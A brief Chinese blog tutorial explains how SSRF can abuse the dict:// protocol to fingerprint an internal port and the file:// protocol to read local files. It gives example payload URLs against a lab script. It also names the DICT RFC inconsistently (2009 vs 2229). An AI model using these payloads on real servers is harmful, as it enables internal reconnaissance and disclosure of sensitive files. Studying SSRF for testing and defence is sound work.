ssrf之dict协议和file协议

发布时间:2023年12月29日

1.dict协议

dict是什么协议呢?

定义:词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使

用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。

官方介绍:http://dict.org/rfc2229.txt

利用dict协议可以探测出目标端口的指纹信息,进一步方便我们利用。

localhost2:8181/ssrf/ssrf1.php?url=dict://172.16.129.33:3306

2.file协议

获取铭感文件信息

可以利用file://协议来读取一些铭感文件:

localhost2:8181/ssrf/ssrf1.php?url=file://D:/a.txt

文章来源:https://blog.csdn.net/qq_59020256/article/details/135282704
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。